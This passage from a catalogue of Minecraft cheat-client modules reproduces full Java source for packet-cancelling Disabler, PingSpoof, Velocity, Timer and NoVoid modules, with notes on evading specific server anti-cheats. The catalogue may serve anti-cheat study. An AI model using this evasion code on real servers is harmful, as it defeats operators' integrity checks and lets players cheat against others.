S08PacketPlayerPosLook pac = (S08PacketPlayerPosLook) ep.getPacket();\n                    pac.yaw = mc.thePlayer.rotationYaw;\n                    pac.pitch = mc.thePlayer.rotationPitch;\n                    if (watchdog && mode.equalsIgnoreCase(\"Hypixel\")) {\n                        Notifications.getManager().post(\"Disabler\", \"You can do what you want for 5s !\", Notifications.Type.INFO);\n                        this.toggle();\n                    }\n                }\n                if (p instanceof S00PacketKeepAlive) {\n                    S00PacketKeepAlive packet = (S00PacketKeepAlive) p;\n                    int KEY = packet.func_149134_c();\n                    if (mode.equalsIgnoreCase(\"Erisium\")) {\n                        timer.reset();\n                        erisium = true;\n                        lastKey = KEY;\n                    }\n                }\n                if (p instanceof C00PacketKeepAlive) {\n                    C00PacketKeepAlive packet = (C00PacketKeepAlive) p;\n                    if (mode.equalsIgnoreCase(\"Faithful\") || mode.equalsIgnoreCase(\"Erisium\") || mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof C0FPacketConfirmTransaction) {\n                    C0FPacketConfirmTransaction packet = (C0FPacketConfirmTransaction) p;\n                    int id = packet.getId();\n                    boolean accepted = packet.isAccepted();\n                    int uid = packet.getUid();\n                    if (id == 0 && accepted)\n                        if (mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                            ep.setCancelled(true);\n                        }\n\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): Sigma 4.11 Disabler: complete file. Lines ~174-182 cancel C0F when id==0 and accepted for SagePvP/ColdNetwork, and cancel C00 for Faithful/Erisium modes. Shows the mode-switch structure.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java",
      "vanilla_hook": "EventPacket send/receive; event.setCancelled(true) on the C0F.",
      "anti_cheat_notes": "Cancelling C0F for window 0 freezes the player's inventory transactions visibly; the modes pair it with C00 cancellation so the anti-cheat's latency reference is also broken. Verus-based modes in Rise 6.x (Verus2Disabler) also send C0B sneak/sprint to shape the state.",
      "variations": "Memeware Disabler (forged uids, queue-based), Nekoware Disabler, Rise 5.99 Disabler (mode matrix), Rise 6.2.4/6.1.30 per-AC suite (TransactionDisabler, WatchdogDisabler, LunarDisabler, DynamicPVPDisabler, UniversoCraftDisabler, MMCReachDisabler, ExperimentalDisabler, TestDisabler, ConvertMovingPacketsDisabler), Spicy Disabler (C0F packet buffer), Tenacity DisablerModule/AdvancedDisablerModule. November Recode 2.0's DisablerModule adds a BLOCKS_MC mode that rewrites every C0F uid to Short.MAX_VALUE during the first 120 ticks after join, cancelling a single C06 as the second step of the same mode."
     },
     {
      "name": "PingSpoof",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Inflate measured ping by delaying the C0F (and C00) echo.",
      "how_it_works": "Rise 6.2.4 PingSpoofComponent cancels C0F and C00 on the send event, parks them in a queue with a timestamp, and flushes them from PostMotionEvent once the delay elapses. The component API (spoof/blink) lets other modules request the delay for specific packet classes.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n\n// NOTE (AI): Rise 6.2.4 PingSpoofComponent: complete file. The 'regular' tuple (line ~28) parks C0F + C00 + S1C; onPacket cancels and queues (lines ~43-50), PostMotionEvent flushes after the delay (lines ~72-88).\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketSendEvent (cancel), PostMotionEvent (flush), WorldChangeEvent (dispatch).",
      "anti_cheat_notes": "Delaying C0F+C00 together keeps the two gaps consistent, which is the tell Verus uses to separate lag from spoofing. A constant delay shows as a fixed ping offset; varying it looks like jitter.",
      "variations": "Rise 5.99 PingSpoof.java parks C0F+C00 in a ConcurrentHashMap with per-packet release times; Rise 6.1.30 uses the same component."
     },
     {
      "name": "Velocity (transaction spoof)",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Remove knockback while keeping the server's transaction bookkeeping consistent.",
      "how_it_works": "Rise 6.2.4 VulcanVelocity cancels S32PacketConfirmTransaction when hurtTime == 10 (the knockback window) and answers with a forged C0F alternating uid 1/-1, so Vulcan's velocity check believes the transaction completed and the knockback was legitimately absent. Rise 5.99 Velocity cancels C0F/S32 pairs in its own modes.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/VulcanVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.movement.Sprint;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\npublic final class VulcanVelocity extends Mode<Velocity> {\n\n    private final NumberValue horizontal = new NumberValue(\"Horizontal\", this, 0, 0, 100, 1);\n    private final NumberValue vertical = new NumberValue(\"Vertical\", this, 0, 0, 100, 1);\n    private boolean transaction = false;\n\n    public VulcanVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (getParent().onSwing.getValue() && !mc.thePlayer.isSwingInProgress || event.isCancelled()) return;\n\n        final Packet<?> p = event.getPacket();\n        final double horizontal = this.horizontal.getValue().doubleValue();\n        final double vertical = this.vertical.getValue().doubleValue();\n\n\n        if (p instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n                if (horizontal == 0 && vertical == 0) {\nif(!(getModule(Speed.class).mode.getValue().getName()==\"Vulcan\") || !getModule(Speed.class).isEnabled() || !MoveUtil.isMoving()){\n    event.setCancelled();\n                    } else {\n\n    wrapper.motionX *= 1.9;\n    wrapper.motionY *= 1;\n    wrapper.motionZ *=1.9;\n}\n\n                    return;\n                }\n\n                wrapper.motionX *= 1;\n                wrapper.motionY *= 1;\n                wrapper.motionZ *=1;\n\n                event.setPacket(wrapper);\n            }\n        }\n\n\n        if (p instanceof S27PacketExplosion) {\n            final S27PacketExplosion wrapper = (S27PacketExplosion) p;\n\n            if (horizontal == 0 && vertical == 0) {\n                event.setCancelled();\n                return;\n            }\n\n            wrapper.posX *= horizontal / 100;\n            wrapper.posY *= vertical / 100;\n            wrapper.posZ *= horizontal / 100;\n\n            event.setPacket(wrapper);\n        }\n\n\n        if (p instanceof S32PacketConfirmTransaction && mc.thePlayer.hurtTime == 10) {\n            event.setCancelled(true);\n            PacketUtil.send(new C0FPacketConfirmTransaction((short) (transaction ? 1 : -1), (short) (transaction ? -1 : 1), transaction));\n            transaction = !transaction;\n\n\n        }\n    };\n}\n\n// NOTE (AI): Rise 6.2.4 VulcanVelocity: complete file. Lines ~80-85 cancel S32 at hurtTime==10 and send a forged C0F with alternating uid 1/-1.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/VulcanVelocity.java",
      "vanilla_hook": "PacketReceiveEvent (S32 cancel), PacketUtil.send for the forged C0F.",
      "anti_cheat_notes": "The alternating uid keeps the server's transaction map from desyncing while the velocity check is fooled. Wrong uid parity causes the inventory to lock and the AC to flag a transaction mismatch.",
      "variations": "Rise 5.99 Velocity.java; Rise 6.1.30 VulcanVelocity.java; WatchdogVelocity/RedeskyVelocity in 6.2.4 use C0B sprint actions instead of C0F for their velocity modes."
     },
     {
      "name": "Timer (transaction parking)",
      "found_in": [
       "Rise 6.2.4",
       "Tenacity 6.0"
      ],
      "purpose": "Freeze the server's transaction clock by parking S32/C0F on the ground so timer-speed movement is not caught.",
      "how_it_works": "Rise 6.2.4 Timer, in watchdog mode, cancels S32PacketConfirmTransaction while on the ground and queues it for later replay, so the server's transaction-based timing reference lags behind the client's accelerated timer. Tenacity TimerModule imports C0F for the same purpose.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Timer.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.BlinkComponent;\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.JumpEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.other.TickEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.math.MathUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.packet.custom.impl.PlayPongC2SPacket;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.BoundsNumberValue;\nimport com.viaversion.viaversion.api.protocol.version.ProtocolVersion;\nimport de.florianmichael.vialoadingbase.ViaLoadingBase;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.Vec3;\nimport org.apache.commons.compress.utils.Lists;\n\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.ThreadLocalRandom;\n\n@ModuleInfo(aliases = {\"module.other.timer.name\"}, description = \"module.other.timer.description\", category = Category.MOVEMENT)\npublic final class Timer extends Module {\n    private boolean attempt;\n\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packetList = new ConcurrentLinkedQueue<>();\n    private int ticksSinceTeleport;\n\n    private long ticks2;\n    private boolean teleport;\n    private final BoundsNumberValue timer =\n            new BoundsNumberValue(\"Timer\", this, 1, 2, 0.1, 20, 0.05);\n\n    public final BooleanValue watchdog = new BooleanValue(\"Watchdog\", this, false);\n\n    @EventLink(value = Priorities.MEDIUM)\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if(!watchdog.getValue()) {\n\n\n            mc.timer.timerSpeed = (float) MathUtil.getRandom(timer.getValue().floatValue(), timer.getSecondValue().floatValue());\n        } else if (watchdog.getValue()){\n            event.setOnGround(true);\n\n            if(attempt && System.currentTimeMillis() > ticks2){\n                mc.thePlayer.motionX *= 0;\n                mc.thePlayer.motionZ *= 0;\n                ticks2 = 0;\n                getModule(Timer.class).toggle();\n\n\n            }\n\n\n\n\n        }\n    };\n\n    @EventLink(value = Priorities.HIGH)\n    public final Listener<PreUpdateEvent> onHighPreUpdate = event -> {\n        if(watchdog.getValue()) {\n            PingSpoofComponent.spoof(9999999, false, false, false, false, true);\n            mc.thePlayer.safeWalk = true;\n        }\n    };\n\n\n    @EventLink\n    public final Listener<TickEvent> onTick = event -> {\n        if(watchdog.getValue() && !attempt) {\n            if (mc.thePlayer.onGround) {\n                ticksSinceTeleport++;\n\n                double x = mc.thePlayer.posX;\n                double y = mc.thePlayer.posY;\n                double z = mc.thePlayer.posZ;\n                float yaw = mc.thePlayer.rotationYaw;\n                float pitch = mc.thePlayer.rotationPitch;\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y-0.0000000000000001, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y+ 0.07, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z,  true));\n                mc.timer.timerSpeed = (float)(timer.getValue().floatValue());\n                teleport = true;\n            } else if(watchdog.getValue()){\n             //   this.mc.timer.timerSpeed = 1;\n             //   MoveUtil.stop();\n\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<MoveInputEvent> onMove = event -> {\n        if(watchdog.getValue()) {\n            if (mc.thePlayer.onGround && ticksSinceTeleport == 0) {\n                MoveUtil.stop();\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        if(watchdog.getValue()) {\n\n            if (attempt) {\n                MoveUtil.stop();\n                this.mc.timer.timerSpeed = 1f;\n                if (mc.thePlayer.onGround) {\n                    packetList.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n                    packetList.clear();\n                    PingSpoofComponent.dispatch();\n                    // mc.thePlayer.jump();\n                }\n\n            }\n        }\n    };\n\n\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if(watchdog.getValue()) {\n            if (mc.thePlayer.onGround) {\n                Packet<?> packet = event.getPacket();\n\n                if (packet instanceof S32PacketConfirmTransaction) {\n                    packetList.add(new PacketUtil.TimedPacket(packet));\n                    event.setCancelled();\n                }\n\n            } else {\n             //   packetList.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n             //   packetList.clear();\n            }\n        }\n\n    };\n    @EventLink()\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n\nif(watchdog.getValue()) {\n    final Packet<?> p = event.getPacket();\n    if (p instanceof S12PacketEntityVelocity) {\n        final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n        event.setCancelled();\n    }\n    if (p instanceof S08PacketPlayerPosLook) {\n        event.setCancelled();\n    }\n}\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<TeleportEvent> onTeleport = event -> {\n\n    };\n\n\n    @EventLink\n    public final Listener<JumpEvent> onJump = event -> {\n        if(watchdog.getValue()) {\n            event.setCancelled();\n        }\n\n    };\n    @Override\n    public void onEnable() {\n        if(watchdog.getValue()) {\n            mc.thePlayer.stepHeight = 0.0F;\n            attempt = false;\n            ticksSinceTeleport = 0;\n            teleport = false;\n            ticks2 = 0;\n        }\n    }\n\n    @Override\n    public void onDisable() {\n        if (this.mc.timer.timerSpeed != 1) {\n\n            this.mc.timer.timerSpeed = 1;\n\n        }\n\n        if(watchdog.getValue()){\n            mc.thePlayer.stepHeight = 0.6F;\n            mc.thePlayer.motionX *= 0;\n            mc.thePlayer.motionZ *= 0;\n\n\n        }\n\n    }\n\n    @EventLink\n    public final Listener<KeyboardInputEvent> onKey = event -> {\n        if (watchdog.getValue() && event.getKeyCode() == getModule(Timer.class).getKey() && !attempt) {\n\n            ticks2 = System.currentTimeMillis() + 200;\n            attempt = true;\n            ChatUtil.display(\"sent\");\n            event.setCancelled();\n\n\n\n        }\n\n        if (watchdog.getValue() && attempt) {\n            event.setCancelled();\n            }\n\n\n    };\n}\n\n// NOTE (AI): Rise 6.2.4 Timer: complete file. The watchdog mode (lines ~150-165) parks S32 packets on the ground and cancels them, keeping the transaction clock frozen while timerSpeed runs ahead.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Timer.java",
      "vanilla_hook": "PacketSendEvent (S32 park) + PacketReceiveEvent (velocity cancel); PacketUtil.TimedPacket queue.",
      "anti_cheat_notes": "Watchdog measures timer via transaction gaps; parking S32 on the ground only works while the player is grounded, which is why the module cancels the park in the air. Tenacity's TimerModule references C0F only at import level in this corpus.",
      "variations": "Tenacity 6.0 TimerModule.java imports C0FPacketConfirmTransaction; Rise 6.1.30 Timer not present in corpus, 6.2.4 Timer is the representative."
     },
     {
      "name": "NoVoid / AntiVoid",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Cancel C0F (and all non-movement packets) while falling into the void so the server never registers the fall.",
      "how_it_works": "Rise 5.99 NoVoid cancels every packet except C03 and C0F while the player is falling below a threshold, keeping the movement stream alive but suppressing the confirmations and other state that would let the server finalize the death. Rise 6.2.4 BlinkAntiVoid/WatchdogAntiVoid buffer C0F with a blink component and release on ground contact.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/player/NoVoid.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.player;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Fly;\nimport dev.rise.module.impl.movement.HighJump;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.util.Vec3;\n\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n@ModuleInfo(name = \"NoVoid\", description = \"Prevents you from falling into the void\", category = Category.PLAYER)\npublic final class NoVoid extends Module {\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Flag\", \"Flag\", \"Position\", \"Jump\", \"Ground\", \"Matrix\", \"Hypixel\", \"Boost\", \"Blink\");\n    private final NumberSetting fallDistance = new NumberSetting(\"Fall Distance\", this, 5, 1, 10, 0.1);\n    private final BooleanSetting voidCheck = new BooleanSetting(\"Void Check\", this, true);\n    private final BooleanSetting showNotifications = new BooleanSetting(\"Show Notifications\", this, false);\n\n    private Vec3 lastGround = new Vec3(0, 0, 0);\n    private boolean saved;\n    private boolean aBoolean, aBoolean2;\n\n    private static final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n    private Vec3 lastServerPosition = null;\n\n    @Override\n    protected void onDisable() {\n        saved = false;\n        lastServerPosition = null;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.thePlayer.onGround)\n            lastGround = new Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ);\n\n        final boolean isBlockUnder = PlayerUtil.isBlockUnder();\n\n        if ((!isBlockUnder || !voidCheck.isEnabled()) && mc.thePlayer.fallDistance > fallDistance.getValue() && !mc.gameSettings.keyBindSneak.isKeyDown() && !mc.thePlayer.capabilities.isFlying && !this.getModule(Fly.class).isEnabled() && !this.getModule(HighJump.class).isEnabled()) {\n            if (!saved) {\n                switch (mode.getMode()) {\n                    case \"Flag\":\n                        PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition());\n                        break;\n\n                    case \"Jump\":\n                        mc.thePlayer.jump();\n                        break;\n\n                    case \"Ground\":\n                        event.setGround(true);\n                        break;\n\n                    case \"Matrix\":\n                        if ((mc.thePlayer.motionY + mc.thePlayer.posY) < Math.floor(mc.thePlayer.posY)) {\n                            mc.thePlayer.motionY = Math.floor(mc.thePlayer.posY) - mc.thePlayer.posY;\n\n                            if (mc.thePlayer.motionY == 0)\n                                event.setGround(true);\n                        }\n                        break;\n\n                    case \"Position\":\n                        event.setY(event.getY() + mc.thePlayer.fallDistance);\n                        break;\n\n                    case \"Boost\":\n                        mc.thePlayer.motionY = 1;\n                        mc.thePlayer.fallDistance = 0;\n                        event.setGround(true);\n                        break;\n\n                    case \"Blink\":\n                        if (lastServerPosition == null)\n                            return;\n\n                        mc.thePlayer.setPosition(lastServerPosition.xCoord, lastServerPosition.yCoord, lastServerPosition.zCoord);\n                        mc.thePlayer.fallDistance = 0;\n                        mc.thePlayer.motionY = 0;\n                        MoveUtil.stop();\n\n                        aBoolean = true;\n                        break;\n\n                    case \"Hypixel\":\n\n                        break;\n                }\n\n                if (!saved) {\n                    if (showNotifications.isEnabled())\n                        this.registerNotification(\"Attempted to save you from the void.\");\n\n                    Rise.amountOfVoidSaves++;\n                    saved = true;\n                }\n            } else\n                saved = false;\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        switch (mode.getMode()) {\n            case \"Blink\": {\n                if (!(p instanceof C03PacketPlayer || p instanceof C0FPacketConfirmTransaction))\n                    return;\n\n                final boolean blink = mc.thePlayer.fallDistance <= 6 && !PlayerUtil.isBlockUnder() && !this.getModule(Fly.class).isEnabled() && !this.getModule(HighJump.class).isEnabled() && !mc.gameSettings.keyBindSneak.isKeyDown();\n\n                if (blink) {\n                    if (lastServerPosition == null)\n                        lastServerPosition = new Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ);\n\n                    event.setCancelled(true);\n                    packets.add(p);\n                } else if (p instanceof C03PacketPlayer) {\n                    if (!(PlayerUtil.isBlockUnder() && !aBoolean))\n                        packets.removeIf(packet -> packet instanceof C03PacketPlayer);\n                    packets.forEach(PacketUtil::sendPacketWithoutEvent);\n                    packets.clear();\n                    lastServerPosition = null;\n                    aBoolean = false;\n                }\n                break;\n            }\n\n            case \"Hypixel\": {\n                if (p instanceof C03PacketPlayer && (!PlayerUtil.isBlockUnder() ||\n                        !voidCheck.isEnabled()) && mc.thePlayer.fallDistance > fallDistance.getValue() &&\n                        !mc.gameSettings.keyBindSneak.isKeyDown() && !mc.thePlayer.capabilities.isFlying &&\n                        !this.getModule(Fly.class).isEnabled() && !this.getModule(HighJump.class).isEnabled()) {\n                    event.setPacket(new C03PacketPlayer(false));\n                }\n                break;\n            }\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 NoVoid: complete file. Line ~125 cancels everything except C03 and C0F while falling (the anti-void window), then releases on ground.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/player/NoVoid.java",
      "vanilla_hook": "PacketSendEvent (cancel non-C03/C0F); motion check for the fall window.",
      "anti_cheat_notes": "Cancelling packets while falling is a classic anti-void that flags on servers with fall-check timers; the packet blacklist (keep C03+C0F) is what keeps the connection alive long enough for the client to place a block or land.",
      "variations": "Rise 6.2.4/6.1.30 BlinkAntiVoid and WatchdogAntiVoid implement the same idea with the blink queue instead of a whitelist."
     },
     {
      "name": "VelocityModule (GRIM / VULCAN transaction filter)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Velocity cancel that keeps the transaction stream consistent: GRIM mode drops the S32 that follows a cancelled S12 and then cancels the matching outgoing C0F, so the server never sees the velocity transaction complete.",
